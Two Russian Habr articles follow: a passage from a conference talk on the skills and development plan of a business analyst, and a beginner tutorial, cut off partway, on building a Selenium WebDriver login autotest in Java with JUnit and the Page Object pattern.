• Управление требованиями
• Управление изменениями
• Разработка проектных артефактов
• Соответствующий инструментарий
**a. Управление требованиями**
Первый блок знаний — управление требованиями. Здесь важно знать, как идентифицировать источники и как выявлять требования, и что с ними после этого делать: анализировать, специфицировать (документировать), проверять.
**b. Управление изменениями**
Это подблок управления требованиями, но я вынесла его отдельно, чтобы заострить на нем ваше внимание. Дело в том, что очень важно понимать трассировки (на конференции есть [отдельный доклад](http://analystdays.ru/talk.sdf/analystdays/analystdays2/talks/7981) на эту тему). Важно знать, как управлять масштабом проекта.
**a. Проектные артефакты**
Далее — умение описать Vision, Software Requirements Specification, подготовить руководство пользователя. Иногда я слышала мнение, что аналитик не должен писать руководства пользователя, что это работа технического писателя. Я считаю это достаточно узким взглядом на мир, т.к., в общем-то, задача аналитика — способствовать созданию продукта, который будет успешен и полезен, и не всегда в команде выделен технический писатель. Т.е. не нужно «перевешивать собак» друг на дружку. Наиболее эффективно инструкцию по работе с системой и пользовательскую документацию может написать аналитик. Даже если он не пишет, то он должен иметь общее понимание, что из себя представляет пользовательская документация и чем она отличается от baseline-документации, спецификаций.
**b. Инструментарий**
В области теорий и техник анализа также выделены инструменты для управления требованиями, такие как Enterprise Architect, Borland CaliberRM (на конференции был представлен отдельный стенд, а также был прочитан доклад) и др. Для управления требованиями также используются не специализированные инструменты — Excel, Jira
###### 1.3 Основы бизнеса
Что вам может быть полезно в знаниях основ бизнеса для вашего развития?
**a. Основы экономики**
Вам пригодится знания того, что такое TCO (total cost of ownership), ROI (Return on Investment), EBIDAT (Earnings before depreciation and taxes), ABC (Activity-Based Costing) и т.д. Эти термины следует изучить, поскольку вы, как бизнес аналитик, должны способствовать успешности бизнеса, и понимание основ экономики (понимание того, для чего делается софт и как будет оцениваться эффективность внедрения софта) крайне важно для правильного принятия решений аналитиком. Вам нужно не просто собирать и управлять требованиями, но делать это в рамках ограничений проекта (которые часто связаны с экономикой — ресурсы не безграничны, как и деньги).
**b. Инжиниринг бизнес-процессов**
Полезным может быть также навык разработки бизнес-процессов. Причем сюда относится также понимание того, что бизнес-процессы бывают основными и вспомогательными, а также что их проектирование происходит в парадигмах AS IS (как сейчас) и TO BE (как рекомендуется или как должно быть).
Подробнее не останавливаюсь, т.к. в моих целях — обозначить точки развития аналитика, а дальше предполагается самостоятельно изучение данных областей.
**c. Нотации моделирования процессов**
Для инжиниринга бизнес-процессов вам потребуются знания определенных нотаций, в которых вы будете описывать процессы. Конечно, их можно описать и просто словами, но также достаточно распространены следующие нотации моделирования бизнес-процессов: BPML (Business Processes Modeling Language), IDEFx, CFF (cross-functional flowcharts) и обычные блок-схемы.
**d. Инструментарий**
Соответствующий инструментарий в области описания бизнес-процессов и экономического планирования (которые мне встречались) — BPWin и Business Studio.
###### 1.4 Разработка ИС
Аналитик, который разрабатывает информационные системы, должен владеть техниками и методиками их разработки.
**a. Основы архитектуры**
Первый блок — основы архитектуры — общее понимание, что из себя представляет ИС, понимание клиент-серверной технологии и построения баз данных, знание устройства сайтов (в т.ч. понимание HTML, устройства CMS, знание готовых CMS), а также разбираться в протоколах и форматах передачи данных (XML, CSV и так далее).
**b. Нотации проектирования**
Вам могут быть полезны нотации проектирования такие как, UML, DFD, блок-схемы.
**c. Эргономика**
Помимо общих знаний по разработке ИС вам понадобятся знания по эргономике (юзабилити), причем в этом плане обратите свое внимание на такие стандарты, как web-style guide, mobile-style guide. A разработка ИС для iPhone и Android имеет набор лучших практик и стандарты требований, как должны проектироваться мобильные приложения. В частности, на AppStore вы будете сертифицировать сове приложение, и если оно не соответствует стандартам, его не пропустят.
**d. Инструментарий**
Инструментарий позволяет выполнять проектирование эффективно и удобно с точки зрения проекта и с точки зрения тех, для кого этот проект делается. В частности, это инструменты прототипирования (Balsamiq Mockups, Axure, JustInMind — в т.ч. мобильных интерфейсов). Также для этих целей используется MS Visio.
###### 1.5 Документирование
**a. Грамотный язык и корректное оформление**
Следующий блок навыков — документирование. Аналитики пишут документы и они (документы) должны быть грамотными как с точки зрения языка, правильного использования технического стиля, грамотной письменной речи, так и с точки зрения оформления. Этот фактор определяется тем, насколько приятно ваш документ брать в руки, насколько он аккуратно и единообразно оформлен, как хорошо подготовлен к печати. Это, кстати, очень важный момент — 90% документов, которые мне присылают внешние аналитики, при попытке распечатать (особенно это касается таблиц Excel) выводятся на 10 листов в хаотическом порядке. Потом приходится вручную пытаться их собрать, что практически не реально. А дело в том, что Excel по умолчанию не форматирует страницу под печать. Аналитики должны знать, что есть специальные настройки структуры и вида страницы, в которых задается формат вывода на печать, порядок страниц, их нумерация. Обращайте на это внимание — подготовили документ, затем распечатали и посмотрели, удобно ли это использовать или нужно документ привести в порядок.
**b. Эргономика**
Для оформления документов также есть набор стандартов в области эргономики (или юзабилити, как сейчас более популярно выражаться). В частности, среди технических писателей одним из зарекомендовавших себя стандартов считается MS Manual of Style. На сегодняшний момент там более 400 страниц и он очень хорошо в плане того, как писать англоязычную техническую документацию — какие термины использовать (например, «click the button» или «click on the button»), как правильно оформлять, структурировать.
**c. Инструментарий**
И конечно же, инструментарий подготовки документов. Это может быть MS Word, OpenOffice (для Linux). Также требуются программы для генерации PDF-документов (Acrobat). И для документирования также пригодится Wiki. В особенности, знания wiki-разметки (специфический язык, который достаточно быстро осваивается) позволят лучше понимать, В каком случае документ оформить в Word, а в каком — в Wiki.
###### 1.6 Дополнительные компетенции
К дополнительным компетенциям в области hard-навыков, на которые мне хотелось бы обратить внимание — это следующие.
**a. Основы менеджмента**
Аналитик так или иначе всегда сопутствует менеджеру на проекте и где-то делит с ним сферы ответственности, где-то его может замещать, где-то, общаясь с клиентом, он так или иначе принимает решения по включению требований в проект. Т.е. это, с одной стороны, аналитика, с другой — менеджмент.
**b. Знания в предметной области**
Здесь же может быть очень полезной (а чаще она бывает и основополагающей) — это доменная экспертиза. Какой бы проект вы не начинали делать, уточните, в каком домене он будет выполняться — это может быть финансы, страхование, туризм — и внимательно ознакомьтесь с данной предметной областью. Конечно, в плане общего развития хвататься за все области нецелесообразно, т.к. их очень много, а погружаться в домен, в котором вы ведете проект, бывает полезно.
**c. Прикладная экспертиза**
Как дополнительная компетенция важна и прикладная экспертиза. Причем от проекта к проекту может быть важной разная прикладная область. Например, если проект выполняется в области туризма, то полезным будет знание «задачи коммивояжера» в теории графов, которая изучается в прикладной математике. А именно, нужно понять, как развезти туристов из аэропорта по отелям при условии, что группа сборная и отели находятся в 10 точках города. Обладая данной экспертизой, аналитик сможет предложить более грамотное решение, нежели он будет не в теме.
**d. Инструментарий бизнеса**
Могут быть полезны знания инструментов, которые использует бизнес, таких, как ERP-систем, CRM-систем и т.д.
Также в группу дополнительных компетенций мы включили иностранные языки, которые упоминались выше. В дополнение следует уточнить, что очень рекомендуется выучить на достойном уровне английский – как минимум потому, что это позволит понимать много полезной литературы, которая выходит на английском языке, но, к сожалению, не всегда переводится на русский, а также общаться на форумах с коллегами-аналитиками из других стран.
##### 2. Soft skills
Далее предлагаю перейти к обзору личностных характеристик, которые развиваются более сложно и более длительно. Напомню, что моя задача — обратить внимание на ключевые навыки. Советы по развитию – читайте соответствующую литературу, посещайте тренинги, пробуйте на практике.
Итак, среди soft-навыков важными являются, во-первых, базовые навыки.
###### 2.1 Базовые навыки
Среди них, прежде всего, — это:
• самостоятельность,
• обучаемость,
• хорошая память,
• четкость изложения информации.
**a. Самостоятельность**
Аналитики редко ведут проект большими группами. Обычно аналитик или полностью сам ведет проект, или, даже если работает в команде аналитиков, все равно каждый аналитик отвечает за одну зону. Соответственно, аналитик должен уметь самостоятельно целиком вести свой проект.
**b. Обучаемость**
Работа аналитика всегда исследовательская, т.е. через него проходит большой объем информации и нужно ее быстро схватывать, обрабатывать и передавать.
**c. Хорошая память**
Нужна по тем же причинам, что и обучаемость — в умен приходится держать множество деталей.
**d. Четкость изложения информации**
При передаче информации заказчику или разработчику не должно возникать недопонимания. Информация должна быть четко структурированной.
###### 2.2 Аналитические навыки
Прежде всего, это аналитическое мышление, которое подразумевает умение критически относиться к ситуации, умение трансформировать то, что вы получаете, в структуру данных, а не напрямую передавать то, что получено на входе.
Также аналитику требуется умение работать с большими объемами информации, навык работы в условиях неопределенности и навыки презентации.
###### 2.3 Личностные навыки
**a. Активность**
Для аналитика важно быть активным: при движении проекта вперед он должен занимать активную позицию, выяснять требования. Также и во время приемки результатов проекта он не может позволить себе пассивную позицию.
**b. Педантичность**
Аналитики должны быть внимательны к деталям и не должны упускать из виду какие-то критические вещи. Т.е. фраза «и так сойдет» не про настоящего аналитика — он должен быть другим по складу характера.
**c. Креативность**
Дело в том, что аналитики всегда не только получают информацию, но и что-то создают: или они определяют реинжиниринг процессов (тогда нужно придумать наиболее оптимальный его способ), или придумывают новые системы (т.е. креативят с «нуля»).
###### 2.4 Межличностные навыки
**a. Коммуникабельность**
В сфере межличностных навыков для аналитиков, прежде всего, важны коммуникабельность, общительность, умение задавать вопросы и правильно передавать информацию, способность настраиваться на волную клиента.
**b. Работа в команде**
Также важно, чтобы аналитик умел работать в команде. Т.е. некто угрюмый, который любит работать с компьютерами, нежели с людьми, навряд ли подойдет на позицию аналитика. В данном случае я бы порекомендовала развивать в себе навыки по общительности и командной работе.
**c. Организаторские способност**и
Навыки по самоорганизации и организации команды также достаточно важны для аналитика.
###### 2.5 Деловые навыки
Далее поясним, что должно входить в деловые навыки аналитика:
• Клиентоориентированность
• Деловая хватка
• Умение вести переговоры
• Стрессоустойчивость
В частности, на тему умения вести переговоров написано множество книг. Очень рекомендуется знать аналитикам, как эффективно разговаривать и убеждать в чем-то (например, нередко некоторые фичи не удается включить в релиз, и в такой ситуации аналитику нужно быть дипломатом).
По стрессоустойчивости еще раз напомню — аналитики, как правило, работают в условиях неопределенности и это качество будет очень полезным.
##### 3. Повышаем эффективность
Каким образом можно повышать эффективность работы аналитка? Я могу дать 2 базовых совета помимо базовых инструментов.
###### 3.1 Помощники аналитика
Во-первых, достаточно хорошие помощники аналитика — всевозможные коллекции (иконок, графических примитивов). Например, нашли то, что вам нравится, и сохранили на диск или попросили дизайнера нарисовать. В таком случае будет проще потом готовить документы и изображать прототипы, используя данные элементы (т.е. по ходу разработки вы не будете искать, откуда бы взять или где нарисовать — изображения будут выглядеть красиво и аккуратно).
Также помогают аналитикам шаблоны писем и функциональные паттерны. Откуда они могут у вас появляться? После завершения предыдущих проектов результаты (лучшие наработки) сохраняйте себе в базу знаний. Таким образом, от проекта к проекту вы будете накапливать не только опыт в голове, но и хорошую базу готовых наработок, которые можно использовать в будущих проектах для лучшей эффективности.
Также хороший источник знаний — аналитические материалы (например, обзоры рынка).
###### 3.2 Объективная оценка реальности
И вторая подсказка о том, что может повысить вашу эффективность, — это объективная оценка самого себя. Нужно понимать, насколько хорошо вы владеете теми или иными навыками аналитика (вы можете использовать вышеперечисленный перечень для проверки своих hard и soft-навыков). Такая проверка позволит вам понять, куда вам двигаться дальше.
В жизни встречается куча примеров того, когда люди считают себя крутыми, но такими не являются. Чаще всего самооценка завышена. А ведь когда аналитик считает, что он крутой, то не может работать эффективнее. Помните слова Сократа «Я знаю, что ничего не знаю» и их продолжение: «Но другие не знают даже этого». Если человек считает, что он уже на вершине, то вверх дальше не полезешь. Например, касаемо MS Word 90% скажут, что владеют им «свободно», хотя не знают, как пользоваться ни полями, ни макросами.
##### 4. План развития
Дело в том, что как только ты осознал глубину своего незнания, то ты можешь разработать план развития. А если ты его еще и честно выполняешь, то твоя эффективность повышается наиболее быстро. Такой план позволяет вам постоянно бежать вперед.
Никогда не стойте на месте, т.к. кто стоит на месте, неизбежно скатывается назад. А в современном мире это в принципе не реально.
##### Что можно сделать?
1. Определите интересующие вас сферы деятельности
2. Зафиксируйте текущий уровень навыков
3. Сформируйте цели развития и критерии достижения
4. Определите способы достижения целей
Выше уже обозначено достаточно большое количество сфер деятельности, инструментов, которые могут быть полезны аналитикам. Не факт, что вы всем этим владеет и что они все нужны вам прямо сейчас. Но, тем не менее, из перечисленного перечня (а, может, и чего-то еще — я не претендую на полноту) определите, что вам наиболее интересно.
###### 1. Определение интересующих сфер
На этом шаге вы можете выписать все возможные навыки и задачи аналитиков в таблицу наподобие приложенной (файл презентации доступен на [странице конференции AnalystDays-2012](http://analystdays.ru/talk.sdf/analystdays/analystdays2/talks/7907)). Затем вам следует напротив каждого навыка поставить вес — то, насколько для вас (и/или для компании — зависит от того, на каком уровне строится план) важен тот или иной навык. Вы можете использовать шкалу от 0 до 5 или от 0 до 100 (в примере используется шкала 0..5). В принципе, эта же классификация может быть использована в вашей карьере.
В нашей компании используется градация на 3 уровня специалистов — Junior, Specialist, Expert — а внутри них идет разбиение на 3 ступени от R1 до R3. Для каждого из этих уровней введены определенные критерии, какие навыки им нужны и на каком уровне владения.
В качестве рекомендаций: в плане должны быть учтены как навыки широкого применения., так и узкоспециализированные умения. Но учесть стоит все. А также следует внести в таблицу и те дополнительные навыки, которые хоть и не являются основополагающими в работе аналитика, однако упрощают жизнь и делают его работу более эффективной.
Также при составлении плана следует учитывать следующие критерии: индивидуальность, привязка к системе аттестации, конкретность, измеримость, согласованность с руководством.
В итоге на базе этой классификации вы можете не просто составлять план персонального развития, но и одновременно определить, какие у вас карьерные возможности возникают при освоении определенных навыков.
##### Дилемма выбора
При составлении такого плана развития возникает вопрос – говоря об аналитиках и требованиях к ним, корректно ли смешивать аналитиков, занимающихся различными задачами или нет? И стоит ли распыляться на все или же сконцентрироваться на какой-то узкой сфере деятельности? Вопрос достаточно философский, и каждый отвечает на него самостоятельно. К примеру, есть личные предпочтения к моделированию бизнес-процессов и поэтому хочется изучать эту область наиболее глубоко — никто вам не помешает этого сделать. Или кому-то захочется шире изучить различные области бизнес-анализа, что также хорошо отразится на вашей карьере, т.к. будете разбираться, где и какие методики могут быть использованы, сумеете гибко их подбирать в зависимости от особенностей вашего проекта.
И мне хотелось бы привести несколько тезисов, чем может быть полезен аналитикам именно **широкий** кругозор.
Дело в том, что при таком плане практически нет предела. Скорее всего, всей жизни не хватит на то, чтобы всю ширину темы освоить от и до. Все равно будешь концентрироваться на каком-то ее подмножестве. Однако уже изученное подмножество представляет ценность для рынка и тебе остается только пойти и согласовать это со своим работодателем.
Т.е. широкий горизонт навыков — это полезно, интересно, выгодно.
##### 2. Оценка текущего уровня навыков
После определение весов следует определить, какой текущий уровень владения навыками и знаний по технологиям и инструментам у вас есть. Один из достаточно удобных способов оценки — аналоги оценки знаний иностранных языков (от Basic до Intermediate и Advanced). Каждому из этих уровней присваивается своя оценка от 0 до 5. После чего вы подсчитываете общую сумму баллов как сумму взвешенных оценок.
##### 3. Определение целей развития
Затем вы заполняете еще 2 колонки в таблице плана — какой уровень знаний и навыков вы ожидаете у себя через год и через месяц. Данный подход в чем-то близок к современной тенденции унификации, когда свое развитие подчиняете численным измерениям (по сути, накапливаете баллы). Здесь еще есть простор для развития, как эту таблицу можно оптимизировать, какие «плюшки» можно себе вручать за достижение того или иного уровня.
##### 4. Определение способов достижения
После этого вы определяете способы достижения цели. По каждому пункту, который вы планируете улучшить, вы определяете литературу, тренинги, конференции и т.д. У вас должно быть четкое понимание, что вы планируете делать в ближайший месяц и ближайший год для того, чтобы развиваться в бизнес-анализе.
##### Итоги
Итак, навыков и знаний у бизнес-аналитиков может быть много, они могут быть разными, они могут быть применены в разном виде на ваших текущих проектах. Но если вы чувствуете, что вы уже достигли потолка и что вы всё знаете в рамках той работы, которую вы сейчас выполняете прямо сейчас на проектах, ни в коем случае не отчаивайтесь — попробуйте вспомнить сегодняшний доклад, попробуйте посмотреть шире на мир и подумать, что я еще не знаю и где мне еще можно развиваться, куда можно двигаться. Однозначно, это будет полезно и вам, с точки зрения карьеры, и ваш работодатель это тоже оценит. Что значит, вы будете успешнее в профессиональном плане вашей карьеры в области ИТ.
##### Вопрос 1
`Каковы критерии оценки качества работы аналитика? Как объективно оценить работу своих подчиненных аналитиков?`
Начать следует с того, что договориться с командой аналитиков об одинаковом представлении качества работ среди всех членов. Например, для меня один из критериев работы аналитика (не основной) — это качество документов, которые они предоставляют. При этом мне важно, чтобы документ был красиво оформлен, содержательно и логически структурирован, чтобы не было перескоков из раздела в раздел и т.д. Соответственно, мы берём данную конкретную атомарную единицу и с аналитиком проговариваем, что качество документа должно быть таким, а он вам отвечает, что об этом даже и не думал. К примеру, нет нумерации страниц и ладно. Он думал, что главное — это текст написать. Таким образом, вместе сев и проговорив с ним эти моменты, мы приходим к единому пониманию качества документа.
Соответственно, нужно пройти по всем шагам работы аналитика и проговорить критерии качества.
По оценке могу сказать следующее: у нас проходят периодические аттестации (1-2 раза в год), оценка для которых состоит из нескольких критериев. Аналитики — это, в первую очередь, коммуникаторы, т.е. они получают информацию от клиентов и передают ее разработчикам. Очень важный критерий оценивания — что думает клиент о взаимодействии с аналитиком: насколько быстро он реагирует на запросы, насколько четкую и понятную информацию он предоставляет клиенту и насколько он эффективен при взаимодействии с клиентом. Этот опросник заполняет клиент. Аналогичный опросник заполняют разработчики (т.е. команда реализации проекта): насколько им доступен аналитик, насколько им понятны документы, предоставленные им, насколько комфортно им работать с данным аналитиком на проекте.
Это является одним из пунктом оценивания аналитиков, причем очень важным, т.к. он — переводчик между клиентом и разработчиком, и если на этом этапе будет слабое звено, то как бы классно он ни оформлял и не писал, он своих целей не достиг.
Второй момент — результативность проекта. Конечно, здесь учитывается не только аналитик, но, тем не менее, мы делаем оценку всей команды целиком. Но поскольку аналитик был транслятором требований и совместно с командой формировал, что должен делать данный продукт, то это тоже является достаточно важной характеристикой.
Третий момент — если есть возможность, это экспертная оценка документов, требований, которые производит аналитик. Например, в течение полугода он писал требования, но какие-то из них не внес в базовые требования или забыл об них. Или применительно к спецификациям — насколько они понятны, конкретны, непротиворечивы. Таким образом можно экспертно оценить данные документы. Не всегда такая возможность есть. Обычно только заказчик или команда разработки может о нем что-то сказать.
Почему знания домена отнесены к дополнительным компетенциям? Как мне кажется, это основная вещь: аналитик может рисовать плохие диаграммы, но он должен понимать, что он делает. Людей, которые рисуют красивые графики и UML-диаграммы, много, и тех, которые при этом не понимают сути работы и делают глупости, — большинство.
Согласна с данной позицией. Однако мы с Сергеем в процессе подготовки презентации достаточно много спорили о группировки навыков для удобства их изложения и понимания аналитиками. Те же базовые навыки — это фундамент, который не позволяет уже стать аналитиком, он позволяет только стартовать вникание в данную индустрию. Поэтому в нем может и не быть доменной экспертизы. Конечно же, для успешного выполнения проектов без нее абсолютно никуда.
##### Вопрос 2
`В свое время я придерживался такого же мнения, что аналитики могут писать документы, пока не встретился с профессиональным техническим писателем (из Европы). И я понял, что это огромная сфера, люди даже специальное образование получают в данном направлении. И есть огромная разница между тем, что пишут бизнес-аналитики, продавцы, проджект-менеджеры, разработчики, и тем, что пишут технические писатели - по сути, это пропасть. Мне кажется, если есть возможность (например, в крупных компаниях есть такая практика), отдавать техническое писательство на аутсорсинг в профессиональную компанию. Они отдают публичную информацию о каком-либо продукте и они тут же пишет профессиональную документацию, а не пытаются сделать это внутри.`
Я начинала свою карьеру как раз как технический писатель, поэтому мне все это очень близко, я очень четко понимаю, о чем вы сейчас говорите. По своим ощущениям и по тому, как я выполняла свои аналитические функции, имея базу технического писательства, и сравнивая это с аналитиками, которые эту базу не имеют, я всё же считаю, что аналитики должны обладать навыками написания технической документации. Это позволяет сделать вас более профессиональным.
На счет того, что что-то можно разделять и отдавать на аутсорсинг, весь мой доклад можно разбить на кусочки и сказать, например, что проектирование бизнес-процессов нужно отдать специалисту по моделированию бизнес-процессов (я встречала такого специалиста, которые делал то, что не умел делать ни один из моих бизнес-аналитиков). Но это как раз доказательство того, что чем лучше вы вникаете в те области, которые обозначены в докладе, тем лучше будет ваш результат и тем больше вы будете вызывать wow-реакцию всех окружающих.
**P.S**. Встретить Марию с Сергеем можно и на будущих конференция серии [Analyst Days](http://analystdays.com) | https://habr.com/ru/post/219667/ | null | ru | null |
# Пишем автотест с использованием Selenium Webdriver, Java 8 и паттерна Page Object
В этой статье рассматривается создание достаточного простого автотеста. Статья будет полезна начинающим автоматизаторам.
Материал изложен максимально доступно, однако, будет значительно проще понять о чем здесь идет речь, если Вы будете иметь хотя бы минимальные представления о языке Java: классы, методы, etc.
Нам понадобятся:
* установленная среда разработки Intellij IDEA (является самой популярной IDE, для большинства случаев достаточно бесплатной версии Community Edition);
* установленные Java (jdk/openjdk) и Maven, прописанные в системные окружения ОС;
* браузер Chrome и chromedriver — программа для передачи команд браузеру.
Создание проекта
----------------
Запустим Intellij IDEA, пройдем первые несколько пунктов, касающихся отправки статистики, импорта проектов, выбора цветовой схемы и т.д. — просто выберем параметры по умолчанию.
В появившемся в конце окне выберем пункт «Create New Project», а в нем тип проекта Maven. Окно будет иметь вид:
* Maven — это инструмент сборки Java проектов;
* Project SDK — версия Java, которая установлена на компьютере;
* Create from archetype — это возможность создавать проект с определенным архетипом (на данном этапе данный чекбокс отмечать не нужно).
Нажмем «Next». Откроется следующее окно:
Groupid и Artifactid — идентификаторы проекта в Maven. Существуют определенные правила заполнения этих пунктов:
* Groupid — название организации или подразделения занимающихся разработкой проекта. В этом пункте действует тоже правило как и в именовании пакетов Java: доменное имя организации записанное задом наперед. Если у Вас нет своего доменного имени, то можно использовать свой э-мейл, например com.email.email;
* Artifactid — название проекта;
* Version — версия проекта.
Нажмем «Finish»: IDE автоматически откроет файл pom.xml:
В нем уже появилась информация о проекте, внесенная на предыдущем шаге: Groupid, Artefiactid, Version. Pom.xml — это файл который описывает проект. Pom-файл хранит список всех библиотек (зависимостей), которые используются в проекте.
Для этого автотеста необходимо добавить две библиотеки: Selenium Java и Junit. Перейдем на центральный репозиторий Maven mvnrepository.com, вобьем в строку поиска Selenium Java и зайдем в раздел библиотеки:
Выберем нужную версию (в примере будет использована версия 3.14.0). Откроется страница:
Копируем содержимое блока «Maven» и вставим в файл pom.xml в блок
```
```
Таким образом библиотека будет включена в проект и ее можно будет использовать. Аналогично сделаем с библиотекой Junit (будем использовать версию 4.12).
Итоговый pom-файл:
Создание пакета и класса
------------------------
Раскроем структуру проекта. Директория src содержит в себе две директории: «main» и «test». Для тестов используется, соответственно, директория «test». Откроем директорию «test», кликом правой клавиши мыши по директории «java» выберем пункт «New», а затем пункт «Package». В открывшемся диалоговом окне необходимо ввести название пакета. Имя базового пакета должно носить тоже имя, что и Groupid — «org.example».
Следующий шаг — создание класса Java, в котором пишется код автотеста. Кликом правой клавиши мыши по названию пакета выберем пункт «New», а затем пункт «Java Class».
В открывшемся диалоговом окне необходимо ввести имя Java класса, например, LoginTest (название класса в Java всегда должно начинаться с большой буквы). В IDE откроется окно тестового класса:
Настройка IDE
-------------
Прежде чем начать, необходимо настроить IDE. Кликом правой клавиши мыши по названию проекта выберем пункт «Open Module Settings». В открывшемся окне во вкладке «Sources» поле «Language level» по умолчанию имеет значение 5. Необходимо изменить значение поля на 8 (для использования всех возможностей, присутствующих в этой версии Java) и сохранить изменения:
Далее необходимо изменить версию компилятора Java: нажмем меню «File», а затем выберем пункт Settings.
В открывшемся перейдем «Build, Execution, Deployment» -> «Compiler» -> «Java Compiler». По умолчанию установлена версия 1.5. Изменим версию на 8 и сохраним изменения:
Test Suite
----------
Описание:
1. Пользователь открывает страницу аутентификации;
2. Пользователь производит ввод валидных логина и пароля;
3. Пользователь удостоверяется в успешной аутентификации — об этом свидетельствует имя пользователя в верхнем правом углу окна;
4. Пользователь осуществляет выход из аккаунта путем нажатия на имя пользователя в верхнем правом углу окна с последующим нажатием на кнопку «Выйти…».
Тест считается успешно пройденным в случае, когда пользователю удалось выполнить все вышеперечисленные пункты.
Для примера будет использоваться аккаунт Яндекс (учетная запись заранее создана вручную).
Первый метод
------------
В классе LoginTest будет описана логика теста. Создадим в этом классе метод «setup()», в котором будут описаны предварительные настройки. Итак, для запуска браузера необходимо создать объект драйвера:
```
WebDriver driver = new ChromeDriver();
```
Перед созданием объекта WebDriver следует установить зависимость, определяющую путь к chomedriver (в ОС семейства Windows дополнительно необходимо указывать расширение .exe):
```
System.setProperty("webdriver.chrome.driver", "/usr/bin/chromedriver");
```
Чтобы ход теста отображался в полностью открытом окне, необходимо сказать об этом драйверу:
```
driver.manage().window().maximaze();
```
Случается, что элементы на страницах доступны не сразу, и необходимо дождаться появления элемента. Для этого существуют ожидания. Они бывают двух видов: явные и неявные. В примере будет использовано неявное ожидание Implicitly Wait, которое задается вначале теста и будет работать при каждом вызове метода поиска элемента:
```
driver.manage().timeouts().implicitlyWait(10, TimeUnit.SECONDS);
```
Таким образом, если элемент не найден, то драйвер будет ждать его появления в течении заданного времени (10 секунд) и шагом в 500 мс. Как только элемент будет найден, драйвер продолжит работу, однако, в противном случае тест упадем по истечению времени.
Для передачи драйверу адреса страницы используется команда:
```
driver.get("https://passport.yandex.ru/auth")
```
### Выносим настройки
Для удобства вынесем название страницы в отдельный файл (а чуть позже и некоторые другие параметры).
Создадим в каталоге «test» еще один каталог с названием «resources», а в нем обычный файл «conf.properties», в который поместим переменную:
```
loginpage = https://passport.yandex.ru/auth
```
а также внесем сюда путь до драйвера
```
chromedriver = /usr/bin/chromedriver
```
В пакете «org.example» создадим еще один класс «ConfProperties», который будет читать записанные в файл «conf.properties» значения:
```
package org.example;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.Properties;
public class ConfProperties {
protected static FileInputStream fileInputStream;
protected static Properties PROPERTIES;
static {
try {
//указание пути до файла с настройками
fileInputStream = new FileInputStream("src/test/resources/conf.properties");
PROPERTIES = new Properties();
PROPERTIES.load(fileInputStream);
} catch (IOException e) {
e.printStackTrace();
//обработка возможного исключения (нет файла и т.п.)
} finally {
if (fileInputStream != null)
try {
fileInputStream.close();
} catch (IOException e) {
e.printStackTrace(); } } }
/**
* метод для возврата строки со значением из файла с настройками
*/
public static String getProperty(String key) {
return PROPERTIES.getProperty(key); } }
```
### Обзор первого метода
Метод «setup()» пометим аннотацией Junit «@BeforeClass», которая указывает на то, что метод будет выполняться один раз до выполнения всех тестов в классе. Тестовые методы в Junit помечаются аннотацией [Test](https://habr.com/ru/users/test/).
```
package org.example;
import org.junit.BeforeClass;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.chrome.ChromeDriver;
import java.util.concurrent.TimeUnit;
public class LoginTest {
/**
* осуществление первоначальной настройки
*/
@BeforeClass
public static void setup() {
//определение пути до драйвера и его настройка
System.setProperty("webdriver.chrome.driver", ConfProperties.getProperty("chromedriver"));
//создание экземпляра драйвера
WebDriver driver = new ChromeDriver();
//окно разворачивается на полный экран
driver.manage().window().maximize();
//задержка на выполнение теста = 10 сек.
driver.manage().timeouts().implicitlyWait(10, TimeUnit.SECONDS);
//получение ссылки на страницу входа из файла настроек
driver.get(ConfProperties.getProperty("loginpage")); } }
```
Page Object
-----------
При использовании Page Object элементы страниц, а также методы непосредственного взаимодействия с ними, выносятся в отдельный класс.
Создадим в пакете «org.example» класс LoginPage, который будет содержать локацию элементов страницы логина и методы для взаимодействия с этими элементами.
Откроем страницу авторизации в сервисах Яндекс (<https://passport.yandex.ru/auth>) в браузере Chrome. Для определения локаторов элементов страницы, с которыми будет взаимодействовать автотест, воспользуемся инструментами разработчика. Кликом правой кнопки мыши вызовем меню «Просмотреть код». В появившейся панели нажмем на значок курсора (левый верхний угол панели разработчика) и наведем курсор на интересующий нас элемент — поле ввода логина.
В результате мы увидим этот элемент среди множества других. Теперь мы можем скопировать его локацию. Для этого кликаем правой кнопкой мыши по выделенному в панели разработчика элементу, выбираем меню «Copy» -> «Copy XPath».
```
//*[@id="root"]/div/div/div[2]/div/div/div[3]/div[2]/div/div/div[1]/form/div[1]/div[1]/label
```
Для локации элементов в Page Object используется аннотация @FindBy.
Напишем следующий код:
```
@FindBy(xpath = "//*[@id="root"]/div/div/div[2]/div/div/div[3]/div[2]/div/div/div[1]/form/div[1]/div[1]/label")
private WebElement loginField;
```
Таким образом мы нашли элемент на страницу и назвали его loginField (элемент доступен только внутри класса LoginPage, т.к. является приватным).
Однако, такой длинный и страшный xpath использовать не рекомендуется (рекомендую к прочтению статью «Не так страшен xpath как его незнание». Если присмотреться, то можно увидеть, что поле ввода логина имеет уникальный id:
Воспользуемся этим и изменим поиск элемента по xpath:
```
@FindBy(xpath = "//*[contains(@id, 'passp-field-login')]")
```
Теперь вероятность того, что поле ввода пароля будет определено верно даже в случае изменения местоположения элемента на странице, возросла.
Аналогично изучим следующие элементы и получим их локаторы.
Кнопка «Войти»:
```
@FindBy(xpath = "//*[contains(text(), 'Войти')]")
private WebElement loginBtn;
```
Поле ввода пароля:
```
@FindBy(xpath = "//*[contains(@id, 'passp-field-passwd')]")
private WebElement passwdField;
```
А теперь напишем методы для взаимодействия с элементами.
Метод ввода логина:
```
public void inputLogin(String login) {
loginField.sendKeys(login); }
```
Метод ввода пароля:
```
public void inputPasswd(String passwd) {
passwdField.sendKeys(passwd); }
```
Метод нажатия кнопки входа:
```
public void clickLoginBtn() {
loginBtn.click(); }
```
Для того, чтобы аннотация @FindBy заработала, необходимо использовать класс PageFactory. Для этого создадим конструктор и передадим ему в качестве параметра объект Webdriver:
```
public WebDriver driver;
public LoginPage(WebDriver driver) {
PageFactory.initElements(driver, this);
this.driver = driver; }
```
```
package org.example;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.support.FindBy;
import org.openqa.selenium.support.PageFactory;
public class LoginPage {
/**
* конструктор класса, занимающийся инициализацией полей класса
*/
public WebDriver driver;
public LoginPage(WebDriver driver) {
PageFactory.initElements(driver, this);
this.driver = driver; }
/**
* определение локатора поля ввода логина
*/
@FindBy(xpath = "//*[contains(@id, 'passp-field-login')]")
private WebElement loginField;
/**
* определение локатора кнопки входа в аккаунт
*/
@FindBy(xpath = "//*[contains(text(), 'Войти')]/..")
